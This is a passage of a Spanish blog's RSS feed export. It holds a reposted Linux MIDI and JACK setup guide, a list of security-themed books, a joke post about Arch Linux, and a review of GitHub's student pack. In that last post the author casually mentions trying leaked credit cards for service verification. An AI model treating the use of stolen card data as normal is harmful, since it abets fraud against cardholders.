    echo Audio servers stopped.
    ;;

  * )
    echo Please specify start or stop...
    ;;
esac
</pre>
</blockquote>
<p>I call it «audio» and keep it in ~/bin. To use it, just tell it whether you want to start or stop the audio servers:</p>
<blockquote><p>audio start<br />
audio stop</p></blockquote>
<p>It&#8217;s not perfect (piping the output to a fixed name in /tmp is never a good idea), but it&#8217;s a start. Feel free to make improvements and send them to me. It is licensed under the GPLv3+.</p>
<p>At this point, we are ready to start looking at music-making software. If you would prefer to see how starting JACK and FluidSynth can be done with a GUI, jump down to the qjackctl and qsynth sections.</p>
<p>Make sure you&#8217;ve got JACK and FluidSynth running before continuing.</p>
<h2>A Virtual MIDI Keyboard</h2>
<p><img src="https://i0.wp.com/tedfelix.com/linux/vmpk-0.4.0.png" alt="" /></p>
<p>In case you don&#8217;t have a physical MIDI keyboard, you can use a virtual one. For this tutorial, we&#8217;ll use <a href="http://vmpk.sourceforge.net/">vmpk</a>, the Virtual MIDI Piano Keyboard. To install and run:</p>
<blockquote><p>sudo apt-get install vmpk<br />
vmpk &amp;</p></blockquote>
<p>It&#8217;s not going to work until we connect it to fluidsynth. We&#8217;ll use the «aconnect» command to do that. First, we need to check which MIDI ports fluidsynth and vmpk are on. Note that the options for aconnect are backwards from what you might expect. The «-i» option displays the output ports, while the «-o» option displays the input ports. This is from the point of view of aconnect rather than the point of view of the devices themselves. So, let&#8217;s try «aconnect -i» to see the MIDI «output» ports (those that aconnect can «input» from):</p>
<blockquote>
<pre>$ aconnect -i
client 0: 'System' [type=kernel]
    0 'Timer           '
    1 'Announce        '
client 14: 'Midi Through' [type=kernel]
    0 'Midi Through Port-0'
client 129: 'VMPK Output' [type=user]
    0 'VMPK Output     '
</pre>
</blockquote>
<p>From this we can see that «VMPK Output» is on port 129:0. Note that the «0» on the &#8216;VMPK Output&#8217; line is the 0 after the colon. Next we use «aconnect -o» to make sure fluidsynth is where it usually is:</p>
<blockquote>
<pre>$ aconnect -o
client 14: 'Midi Through' [type=kernel]
    0 'Midi Through Port-0'
client 128: 'FLUID Synth (3206)' [type=user]
    0 'Synth input port (3206:0)'
client 130: 'VMPK Input' [type=user]
    0 'VMPK Input      '
</pre>
</blockquote>
<p>Sure enough, fluidsynth is at 128:0. Now to connect the two together:</p>
<blockquote><p>aconnect 129:0 128:0</p></blockquote>
<p>And you should hear piano when you play the keys on vmpk. If not, try changing the instrument in the «Program:» field. Sometimes fluidsynth needs a reminder of what instrument to play.</p>
<h2>Patchage</h2>
<p>If you prefer something a little more graphical when connecting MIDI devices, try <a href="http://drobilla.net/software/patchage/">Patchage</a>:</p>
<blockquote><p>sudo apt-get install patchage<br />
patchage &amp;</p></blockquote>
<p><img src="https://i0.wp.com/tedfelix.com/linux/patchage-1.0.0.png" alt="" /></p>
<p>Patchage shows your MIDI devices as boxes. You can make connections by clicking on the colored connectors (with white text) at either end. You can also break connections the same way.</p>
<p>Note that Patchage launches JACK if it isn&#8217;t already running. Make sure you&#8217;ve got a proper .jackdrc file in your home directory or JACK will be launched with defaults. See the .jackdrc section above. If you&#8217;re avoiding JACK for testing reasons, you&#8217;ll need to use aconnect instead of Patchage. You can also disconnect Patchage from JACK by using Patchage&#8217;s System menu.</p>
<h2>A Hardware MIDI Controller</h2>
<p><img src="https://i0.wp.com/tedfelix.com/linux/akai-lpk25.jpg" alt="" /></p>
<p>There are several MIDI controllers on the market that connect via USB. I have the (adorable) <a href="http://www.akaipro.com/product/lpk25">Akai LPK25</a>. When I plug it in and take a look at my MIDI devices, I see the following:</p>
<blockquote>
<pre>$ aconnect -i
client 0: 'System' [type=kernel]
    0 'Timer           '
    1 'Announce        '
client 14: 'Midi Through' [type=kernel]
    0 'Midi Through Port-0'
client 20: 'LPK25' [type=kernel]
    0 'LPK25 MIDI 1    '
</pre>
</blockquote>
<p>So 20:0 is the LPK25. I can connect it to fluidsynth (which happens to be at 129:0 for me right now) using Patchage or aconnect:</p>
<blockquote><p>aconnect 20:0 129:0</p></blockquote>
<p>MIDI Troubleshooting Tip: The <b>dmesg</b> and <b>lsusb</b> commands can be helpful when diagnosing hardware problems. When I plug in the LPK25, I see this at the end of <b>dmesg</b>:</p>
<blockquote><p>[54428.182449] usb 2-1.1: new full-speed USB device number 6 using ehci-pci<br />
[54428.268927] usb 2-1.1: New USB device found, idVendor=09e8, idProduct=0076<br />
[54428.268936] usb 2-1.1: New USB device strings: Mfr=1, Product=2, SerialNumber=0<br />
[54428.268942] usb 2-1.1: Product: LPK25<br />
[54428.268948] usb 2-1.1: Manufacturer: AKAI professional LLC</p></blockquote>
<p>Then <b>lsusb</b> shows me that it is connected:</p>
<blockquote><p>Bus 002 Device 006: ID 09e8:0076 AKAI Professional M.I. Corp. LPK25 MIDI Keyboard</p></blockquote>
<h2>A Hardware MIDI Interface</h2>
<p>If you want to connect external MIDI devices like keyboards with MIDI ports, you&#8217;ll need a hardware MIDI interface like the M-Audio Uno MIDI Interface. When I plug mine in, I get the following new port:</p>
<blockquote>
<pre>client 20: 'USB Uno MIDI Interface' [type=kernel]
    0 'USB Uno MIDI Interface MIDI 1'
</pre>
</blockquote>
<p>Once you&#8217;ve got the port showing up, you can connect a keyboard or other MIDI device to the interface and talk to it through that port.</p>
<h2>qjackctl</h2>
<p><img src="https://i0.wp.com/tedfelix.com/linux/qjackctl-0.3.10.png" alt="" /></p>
<p>qjackctl provides a GUI for JACK. To install and run:</p>
<blockquote><p>sudo apt-get install qjackctl<br />
qjackctl &amp;</p></blockquote>
<p>You&#8217;ll need to configure JACK through qjackctl before using it. Press the «Setup&#8230;» button to get the Setup dialog. Many of the settings will be set to «(default)» and that should be ok. Just make sure «Frames/Period» is set to 128, and «Sample Rate» is set to 44100. Also, if you need to use an ALSA device name other than hw:0, check the «Output Device» field. See the ALSA Device Names section above for details.</p>
<p><img src="https://i0.wp.com/tedfelix.com/linux/qjackctl-0.3.10-setup.png" alt="" /></p>
<p>Click Ok to close the Setup dialog and press the «Start» button to start JACK.</p>
<p>One annoying thing about qjackctl is that it will overwrite your .jackdrc file without your permission. Bear this in mind in case things aren&#8217;t working as expected.</p>
<h2>Qsynth</h2>
<p><img src="https://i0.wp.com/tedfelix.com/linux/qsynth-0.3.6.png" alt="" /></p>
<p>Qsynth provides a GUI for FluidSynth. To install and run:</p>
<blockquote>
<pre>sudo apt-get install qsynth
sudo apt-get install fluid-soundfont-gm
qsynth &amp;
</pre>
</blockquote>
<p>Next you&#8217;ll need to load the soundfont. Press the «Setup&#8230;» button and switch to the «Soundfonts» tab. Click on the Open&#8230; button and open the soundfont that we&#8217;ve been using with the command line.</p>
<p><img src="https://i0.wp.com/tedfelix.com/linux/qsynth-0.3.6-soundfonts.png" alt="" /></p>
<p>Now test with aplaymidi as usual:</p>
<blockquote><p>aplaymidi -p 128:0 song.mid</p></blockquote>
<p>See the aplaymidi section above for details.</p>
<h3>Qsynth Troubleshooting</h3>
<p>Qsynth will launch JACK using the .jackdrc file if JACK isn&#8217;t running. Make sure your .jackdrc file is set up properly. See the .jackdrc section above.</p>
<p>Press the Messages button to see the startup messages for JACK and Qsynth.</p>
<p>If Qsynth isn&#8217;t working, try using ALSA instead of JACK. Launch Qsynth, change the Setup&#8230; &gt; Audio tab to use ALSA for the audio driver. Close Qsynth. Stop JACK. Then restart Qsynth. Now pipe something in with aplaymidi. Switch the configuration back to JACK when you&#8217;re done testing.</p>
<p>If it appears that JACK isn&#8217;t working properly, you might need to make sure JACK is talking to the correct audio device. Sometimes it gets confused and tries to send audio to a MIDI interface. See the ALSA Device Names section above.</p>
<h2>MIDI Sequencers</h2>
<p>Once you&#8217;ve figured out how to get all your MIDI hardware and softsynths set up, you can install and use a MIDI sequencer for serious music composition work. Two of the best are Rosegarden and Hydrogen.</p>
<h3>Rosegarden</h3>
<p><a href="http://www.rosegardenmusic.com/">Rosegarden</a> is a MIDI sequencer that offers multi-track recording and playback along with notation editing.</p>
<p><img src="https://i0.wp.com/tedfelix.com/linux/rosegarden.png" alt="" /></p>
<p>Rosegarden does require a little configuration to get it working. Sometimes it picks things up automagically, but other times you&#8217;ll need to go to Studio &gt; Manage MIDI Devices&#8230; in the menu and there you will be able to connect Rosegarden to your soft synths, keyboards, and other MIDI devices. Here&#8217;s a screenshot of Rosegarden set up for fluidsynth and my Akai LPK25:</p>
<p><img src="https://i0.wp.com/tedfelix.com/linux/rosegarden-manage-midi-devices.png" alt="" /></p>
<h3>Hydrogen</h3>
<p><a href="http://www.hydrogen-music.org/hcms/">Hydrogen</a> is a drum sequencer. It has its own softsynth built in, so it comes up ready to go.</p>
<p><img src="https://i0.wp.com/tedfelix.com/linux/hydrogen.png" alt="" /></p>
<h2>Audio Software</h2>
<p><a href="http://audacity.sourceforge.net/">Audacity</a> &#8211; Sound editor. Also does multi-track recording.</p>
<p><a href="http://ardour.org/">Ardour</a> &#8211; Digital audio workstation.</p>
<h2>Low-latency Kernel</h2>
<p>I went through the above tutorial with the standard Ubuntu kernel which is not a low-latency kernel, and Patchage reported dropouts whenever I moved or resized a window. That&#8217;s not good. With a Low-Latency Kernel, the dropouts went away. If you are serious about working with audio in Linux, you really need to use a low-latency kernel with the timer frequency set to 1000Hz. There are three main ways to do this.</p>
<h3>Distro Package</h3>
<p>The first way would be to see if your distro already has a low-latency kernel available and install it. Ubuntu has a «linux-lowlatency» package you can install:</p>
<blockquote><p>sudo apt-get install linux-lowlatency</p></blockquote>
<p>After that installs, reboot and use uname to make sure it is running:</p>
<blockquote>
<pre>$ uname -a
Linux ted-laptop 3.13.0-24-lowlatency #47-Ubuntu SMP PREEMPT Fri May 2 23:59:20 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
</pre>
</blockquote>
<p>The keyword «PREEMPT» tells us this is a low-latency kernel.</p>
<p>If it isn&#8217;t running, reboot and hold down the left shift key when the system is coming back up. This should give you the GRUB menu where you can select a specific kernel.</p>
<p>Once the linux-lowlatency kernel is running, you should be able to uninstall the linux-generic kernel to avoid accidentally booting into it. Proceed carefully. I have no experience with this.</p>
<h3>Multimedia Distro</h3>
<p>The second way would be to use a multimedia distro like Ubuntu Studio. These sorts of distros install a low-latency kernel by default.</p>
<h3>Build Your Own Kernel</h3>
<p>And finally, if you don&#8217;t mind building the kernel, you can adjust the configuration to get a low-latency kernel. In the category «Processor type and features,» you&#8217;ll find two key settings. The first is «Preemption Model» which should be set to «Preemptible Kernel (Low-Latency Desktop)». The second is «Timer frequency» which should be set to 1000Hz for decent audio performance.</p>
<p>My steps for building my own kernel are in my <a href="http://tedfelix.com/linux/kernel-build.html">Linux Kernel Build HOWTO</a>.</p>
<h2>Killing pulseaudio</h2>
<p>Unfortunately, pulseaudio can interfere with JACK, and it&#8217;s really hard to kill pulseaudio. It tends to keep respawning itself. If you find you are having problems with JACK and pulseaudio getting along, you can try killing pulseaudio. However, this will break some things that you might be used to, like the volume control on your desktop.</p>
<p>To stop pulseaudio, edit /etc/pulse/client.conf and set autospawn to no:</p>
<blockquote>
<pre>autospawn = no
</pre>
</blockquote>
<p>After a reboot, pulseaudio will not come up unless you ask for it manually:</p>
<blockquote>
<pre>pulseaudio --start
</pre>
</blockquote>
<p>Without pulseaudio, some things will not work. I noticed that I can still have more than one app generating sound and I hear both. However, the Ubuntu volume control is broken and I have to use alsamixer to adjust volume. It&#8217;s a bit irritating. It might be worth looking for a fix for this.</p>
<p>For more info, check out these pulseaudio man pages: <a href="http://linux.die.net/man/1/pactl">pactl(1)</a>, <a href="http://linux.die.net/man/1/pasuspender">pasuspender(1)</a>, and <a href="http://linux.die.net/man/5/pulse-client.conf">pulse-client.conf(5)</a>. «apropos pulse» gives a rather complete list. Also see <a href="http://www.linuxplanet.com/linuxplanet/tutorials/7130/2">Carla Schroder&#8217;s tip</a> and <a href="http://jackaudio.org/pulseaudio_and_jack">JACK&#8217;s advice for getting JACK and pulseaudio to coexist</a>.</p>
<h2>JACK and Headphones</h2>
<p>On my laptop (an HP G62) I noticed that whenever I plugged in my headphones, the speakers would go off, but there would be no sound on the headphones. It turns out that my particular laptop has separate output channels for the speakers and the headphones. If you happen to be unlucky enough to have the same problem, see my <a href="http://tedfelix.com/linux/jack-headphones.html">JACK and Headphones</a> page for details. Later versions of the Linux kernel fixed this for me.</p>
<h2>TODO</h2>
<ul>
<li>Move Low-Latency Kernel section to the top.</li>
<li>Add a section on kmidimon. Show how to monitor with a Y-cable in Patchage.</li>
<li>Test on a clean install and work out any remaining issues</li>
</ul>
<h2>License</h2>
<p>Copyright (C) 2011-2014, Ted Felix</p>
<p>Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. See <a href="http://www.gnu.org/licenses/fdl.html">http://www.gnu.org/licenses/fdl.html</a> for the full text of this license.</p>
<p>Fuente: <a href="http://tedfelix.com/linux/linux-midi.html">http://tedfelix.com/linux/linux-midi.html</a></p>
<p>Saludos!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2015/01/23/teds-linux-midi-guide/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>

		<media:content url="http://tedfelix.com/linux/jackd2-install-ubuntu14.10.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/linux-midi.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/vmpk-0.4.0.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/patchage-1.0.0.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/akai-lpk25.jpg" medium="image" />

		<media:content url="http://tedfelix.com/linux/qjackctl-0.3.10.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/qjackctl-0.3.10-setup.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/qsynth-0.3.6.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/qsynth-0.3.6-soundfonts.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/rosegarden.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/rosegarden-manage-midi-devices.png" medium="image" />

		<media:content url="http://tedfelix.com/linux/hydrogen.png" medium="image" />
	</item>
		<item>
		<title>Libros recomendados sobre seguridad en la actualidad</title>
		<link>https://licenciaparahackear.wordpress.com/2015/01/09/libros-recomendados-sobre-seguridad-en-la-actualidad/</link>
					<comments>https://licenciaparahackear.wordpress.com/2015/01/09/libros-recomendados-sobre-seguridad-en-la-actualidad/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Fri, 09 Jan 2015 20:49:21 +0000</pubDate>
				<category><![CDATA[Enlaces y recomendaciones]]></category>
		<category><![CDATA[Hacking General]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[libros]]></category>
		<category><![CDATA[recomendación]]></category>
		<category><![CDATA[seguridad]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1519</guid>

					<description><![CDATA[Hoy os traemos una recopilación de libros que desde mi punto vista son muy interesantes y de un modo u otro, están relacionados con la seguridad informática y las últimas tendencias ciber que tantos titulares nos dan últimamente. Salvo los libros de la serie «Jeff Aiken Series» de Mark Russinovich que son novelas con gran contenido técnico [&#8230;]]]></description>
										<content:encoded><![CDATA[<div>Hoy os traemos una recopilación de libros que desde mi punto vista son <b>muy interesantes</b> y de un modo u otro, <b>están relacionados con la seguridad informática</b> y las <b>últimas tendencias</b> <i>ciber</i> que tantos titulares nos dan últimamente. Salvo los libros de la serie «<i><span style="text-decoration:underline;">Jeff Aiken Series</span></i>» de Mark Russinovich que son novelas con gran contenido técnico y muy cercanos a la realidad (aunque ficción al fin y al cabo), y la biografía de Kevin Mitnick contada por él mismo con <i><span style="text-decoration:underline;">Ghost in the Wires</span></i>, el resto son trabajos de investigación de diferentes temáticas que os contaremos brevemente, y escritos por grandes periodistas.</div>
<p>&nbsp;</p>
<div><b><b>Mark Russinovich &#8211; Jeff Aiken Series</b></b></div>
<p>&nbsp;</p>
<div><b><b>     <a href="http://www.amazon.com/Zero-Day-Jeff-Aiken-Novel-ebook/dp/B00457X7XQ/ref=la_B001IGNICC_1_2?s=books&amp;ie=UTF8&amp;qid=1420668227&amp;sr=1-2" target="_blank" rel="noreferrer">Zero Day</a> (</b>2011)           <b><a href="http://www.amazon.com/Trojan-Horse-Jeff-Aiken-Novel-ebook/dp/B007PP2J9I/ref=la_B001IGNICC_1_4?s=books&amp;ie=UTF8&amp;qid=1420668227&amp;sr=1-4" target="_blank" rel="noreferrer">Trojan Horse</a></b> (2012)       <b><a href="http://www.amazon.com/Rogue-Code-Jeff-Aiken-Novel-ebook/dp/B00GVRVEA6/ref=la_B001IGNICC_1_1?s=books&amp;ie=UTF8&amp;qid=1420668227&amp;sr=1-1" target="_blank" rel="noreferrer">Rogue Code</a> (</b>2014)</b></div>
<div></div>
<p>&nbsp;</p>
<div><img src="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/f7afa-zero-day.jpeg?w=130&#038;h=200" alt="" width="130" height="200" border="0" /> <img src="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/1b08c-trojan-horse.jpeg?w=133&#038;h=200" alt="" width="133" height="200" border="0" />     <img src="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/3e50e-rogue-code.jpeg?w=132&#038;h=200" alt="" width="132" height="200" border="0" /></div>
<p>&nbsp;</p>
<div>Mark Russinovich, más conocido por ser el creador de la suite de SysInternals, deja a un lado la programación y los <i>internals</i> de Windows para traernos una trilogía genial en la que tendremos APTs (de verdad), espionaje, investigaciones concienzudas, análisis de incidentes en todos los niveles, y un largo etcétera, centrando el protagonismo en un investigador de seguridad llamado Jeff Aiken el cual se encargará de salvar al mundo ya en 3 ocasiones.</div>
<p>&nbsp;</p>
<div><b><b>Brian Krebs &#8211; <a href="http://www.amazon.com/Spam-Nation-Organized-Cybercrime--Epidemic/dp/1402295618/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1420668452&amp;sr=1-1" target="_blank" rel="noreferrer">Spam Nation</a></b> (2014)</b></div>
<p>&nbsp;</p>
<div></div>
<div><img src="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/c325d-spam-nation.jpeg?w=133&#038;h=200" alt="" width="133" height="200" border="0" /></div>
<div></div>
<div>Brian Krebs, periodista y azote de las mafias underground (su blog se está <i>doseando</i> más últimamente que las redes de PlayStation y Xbox estas navidades&#8230;), desenmascara en este libro las operaciones de spam y hacking dirigidas contra los americanos. Con investigaciones y entrevistas en exclusivas, nos daremos cuenta de lo tremendamente vulnerables que somos frente a estas mafias organizadas con las que convivimos (muchas veces sin ni siquiera enterarnos&#8230;) día a día.</div>
<p>&nbsp;</p>
<div><b><b>Kevin Mitnick</b> &#8211; <b><a href="http://www.amazon.com/Ghost-Wires-Adventures-Worlds-Wanted/dp/0316037729/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1420668599&amp;sr=1-1&amp;keywords=kevin+mitnick+ghost" target="_blank" rel="noreferrer">Ghost in the Wires</a></b> (2012)</b></div>
<div></div>
<div><img src="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/2cb99-ghost-in-the-wires.jpeg?w=132&#038;h=200" alt="" width="132" height="200" border="0" /></div>
<div>
<div></div>
<p>Después de muchos años, y con varios libros en los que siempre se ha intentado contar su vida desde sus inicios por parte de otros, el propio Kevin Mitnick ha plasmado en este libro todas sus aventuras en las que sabremos cómo empezó y por qué, <b>anécdotas</b> de sus hacks e ingenierías sociales y muchas historias más. Si bien en libros suyos anteriores de la serie «The Art Of XXX» también nos cuenta algunas de las etapas de su vida, aquí tendremos la oportunidad de tener mayor detalle de todas sus aventuras.</div>
<div></div>
<div><b>Kim Zetter &#8211; <a href="http://www.amazon.com/Countdown-Zero-Day-Stuxnet-Digital/dp/077043617X" target="_blank" rel="noreferrer">Countdown to Zero Day</a></b> (2014)</div>
<div></div>
<div><img src="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/8c5f2-countdown-to-zero-day.jpeg?w=133&#038;h=200" alt="" width="133" height="200" border="0" /></div>
<div>
<div></div>
<p>Si estás al tanto de las últimas modas en seguridad informática, tendrán que sonarte los términos <b>Duqu</b>, <b>Stuxnet</b> y demás. Estas nuevas campañas avanzadas suponen una amenaza mayor a la que estábamos acostumbrados anteriormente, en el que el objetivo ya no son simplemente bases de datos, sistemas operativos de usuarios o empresas aleatorias. <b>Kim Zetter</b>, periodista y editora de Wired, comienza desvelando desde el inicio hasta el final todo lo que ocurrió con <b>Stuxnet</b> (su <b>planificación, ejecución, descubrimiento, contención, investigación</b>&#8230;) tras disponer de testimonios de los propios investigadores que desvelaron esta amenaza. Pero <b>no sólo Stuxnet</b> es el protagonista de este libro, ya que además Zetter se adentra en los <i>mercados</i> y redes que están detrás de estas amenazas cuyo objetivo es el ataque a <b>infraestructuras críticas.</b></div>
<div><b> </b></div>
<div><b>Glenn Greenwald &#8211; <a href="http://www.amazon.com/No-Place-Hide-Snowden-Surveillance/dp/162779073X/ref=asap_bc?ie=UTF8" target="_blank" rel="noreferrer">No Place to Hide</a></b> (2014)</div>
<p>&nbsp;</p>
<div></div>
<div><img src="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/a27f9-no-place-to-hide.jpeg?w=133&#038;h=200" alt="" width="133" height="200" border="0" /></div>
<div></div>
<div>
<div>¡No podía faltar un libro relacionado con la <b>NSA y Snowden</b>! Este libro fue mencionado y recomendado durante la mesa debate en la última Rooted Valencia. Lo bueno de este libro es que está escrito por Glenn Greenwald, periodista de The Guardian, el cual pudo entrevistar en primera persona a Snowden en Hong Kong, desconocido por todo el mundo hasta ese momento, y que decía tener evidencias claras del espionaje que estaba realizando el gobierno y la NSA sobre los ciudadanos americanos.</div>
</div>
<div>Os recordamos que en nuestro blog encontraréis más libros relacionados con la seguridad informática (tanto en formato novela como técnicos para aprendizaje) bajo la etiqueta <b><a href="http://www.securitybydefault.com/search/label/libros" target="_blank" rel="noreferrer">Libros</a></b>.</p>
<p>Si queréis recomendar algún libro de este tipo, ¡no dudéis en utilizar los comentarios!</p></div>
<div></div>
<div>Fuente: <a href="http://www.securitybydefault.com/2015/01/libros-recomendados-sobre-seguridad-en.html" target="_blank">http://www.securitybydefault.com/2015/01/libros-recomendados-sobre-seguridad-en.html</a></div>
<div>Saludos!</div>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2015/01/09/libros-recomendados-sobre-seguridad-en-la-actualidad/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>

		<media:content url="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/f7afa-zero-day.jpeg" medium="image" />

		<media:content url="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/1b08c-trojan-horse.jpeg" medium="image" />

		<media:content url="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/3e50e-rogue-code.jpeg" medium="image" />

		<media:content url="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/c325d-spam-nation.jpeg" medium="image" />

		<media:content url="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/2cb99-ghost-in-the-wires.jpeg" medium="image" />

		<media:content url="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/8c5f2-countdown-to-zero-day.jpeg" medium="image" />

		<media:content url="https://licenciaparahackear.wordpress.com/wp-content/uploads/2015/01/a27f9-no-place-to-hide.jpeg" medium="image" />
	</item>
		<item>
		<title>Capusotto usa Arch Linux!</title>
		<link>https://licenciaparahackear.wordpress.com/2014/12/17/capusotto-usa-arch-linux/</link>
					<comments>https://licenciaparahackear.wordpress.com/2014/12/17/capusotto-usa-arch-linux/#comments</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Thu, 18 Dec 2014 02:19:42 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[arch]]></category>
		<category><![CDATA[capusotto]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1512</guid>

					<description><![CDATA[Bueno, en realidad no lo hace, pero sí es mencionado no menos de dos veces en su programa televisivo. Ernesto Wait Loprette, un artista de música en espera que busca poner en perspectiva los verdaderos problemas de sus clientes es contratado por numerosas compañías multinacionales, entre las cuales se encuentran Ingress, el sitio de hossting [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Bueno, en realidad no lo hace, pero sí es mencionado no menos de dos veces en su programa televisivo.</p>
<p>Ernesto Wait Loprette, un artista de música en espera que busca poner en perspectiva los verdaderos problemas de sus clientes es contratado por numerosas compañías multinacionales, entre las cuales se encuentran <a href="https://www.ingress.com/">Ingress</a>, el sitio de hossting <a href="http://www.1and1.es/">1&amp;1</a> o el mismísimo <a href="https://www.archlinux.org/">Arch Linux</a>, esta genial distribución de GNU/Linux tan caracterizada por el lucro a sus usuarios.</p>
<p><iframe class="youtube-player" width="627" height="353" src="https://www.youtube.com/embed/3OoQxDDPcqM?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox"></iframe></p>
<p><iframe class="youtube-player" width="627" height="353" src="https://www.youtube.com/embed/Dslspk0hFt4?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es&#038;autohide=2&#038;wmode=transparent" allowfullscreen="true" style="border:0;" sandbox="allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox"></iframe></p>
<p>Saludos!</p>
]]></content:encoded>
					
					<wfw:commentRss>https://licenciaparahackear.wordpress.com/2014/12/17/capusotto-usa-arch-linux/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		
		<media:content url="https://2.gravatar.com/avatar/84e33638768ee835b874728832e8c4b3e4dfe64a1424070e30b55b2494c0a22f?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">sh4r3m4n</media:title>
		</media:content>
	</item>
		<item>
		<title>Sobre el pack para estudiantes de GitHub</title>
		<link>https://licenciaparahackear.wordpress.com/2014/11/21/sobre-el-pack-para-estudiantes-de-github/</link>
					<comments>https://licenciaparahackear.wordpress.com/2014/11/21/sobre-el-pack-para-estudiantes-de-github/#respond</comments>
		
		<dc:creator><![CDATA[sh4r3m4n]]></dc:creator>
		<pubDate>Sat, 22 Nov 2014 02:28:47 +0000</pubDate>
				<category><![CDATA[Enlaces y recomendaciones]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[critica]]></category>
		<category><![CDATA[descuento]]></category>
		<category><![CDATA[educación]]></category>
		<category><![CDATA[estudiantes]]></category>
		<category><![CDATA[nube]]></category>
		<category><![CDATA[opinion]]></category>
		<category><![CDATA[promoción]]></category>
		<guid isPermaLink="false">http://licenciaparahackear.wordpress.com/?p=1506</guid>

					<description><![CDATA[Hace unas semanas me enteré del pack para estudiantes ofrecido por GtHub, una interesante propuesta del conocido sitio para programadores. El mismo consiste en ofrecer descuentos y packs especiales para algunos servicios bastante útiles para profesionales y, principalmente, jóvenes que andan con ganas de hacer algo lindo y no cuentan con muchos recursos económicos. Algunos [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Hace unas semanas me enteré del <a href="https://education.github.com">pack para estudiantes ofrecido por GtHub</a>, una interesante propuesta del conocido sitio para programadores. El mismo consiste en ofrecer descuentos y packs especiales para algunos servicios bastante útiles para profesionales y, principalmente, jóvenes que andan con ganas de hacer algo lindo y no cuentan con muchos recursos económicos.</p>
<p>Algunos de los recursos más interesantes con los que cuenta son un <strong>dominio .me con certificado SSL gratis en</strong> Namecheap, un crédito de 25 dólares en HackHands para obtener <strong>ayuda sobre programación en vivo todo el día</strong>, o una <strong>cuentra Micro en el mismo GitHub</strong> la cual permite a los jóvenes estudiantes introducirse en el fantástico mundo de los repositorios privados usados para desarrollo de software privativo.</p>
<p>Debo reconocer que superó ampliamente mis expectativas el no darle importancia a no que no estudie en una universidad norteamericana que me quite unos cuantos verdesitos anuales. Fue una excelente y no frecuente actitud darle el pack a un alumno de escuela pública latinoamericana. Lo único que requerí fue una cuenta de e-mail de la escuela para estar seguros de mi condición de estudiante, la cual no fue lo más fácil de conseguir pero insistiendo un poco se logró.</p>
<p>Una de las causas que me hizo distanciarme un poco de los recursos ofrecidos fue el preferir mantenerme en la tierra y los subsuelos y mirar con desconfianza lo demás (llámese nube) debido a <a title="Eben Moglen: Libertad en la nube, Privacidad y Seguridad para la Web 2.0" href="https://licenciaparahackear.wordpress.com/2013/04/12/eben-moglen-libertad-en-la-nube-privacidad-y-seguridad-para-la-web-2-0/" target="_blank">los problemas de privacidad que ofrece</a>. Las pocas intenciones que tenía de vender un poco mis datos e ideales a cambio de una mejor disponibilidad o capacidad de cómputo se desvanecieron cuando me enteré que algunos servicios no aceptaban tarjetas de crédito leakeadas en el proceso de «autenticación física» que requiere de estas no para cobrarme, sino solamente para tener. Mala idea suponer que tengo semejante aparatito y que en el caso de tenerlo lo usaría para esto.</p>
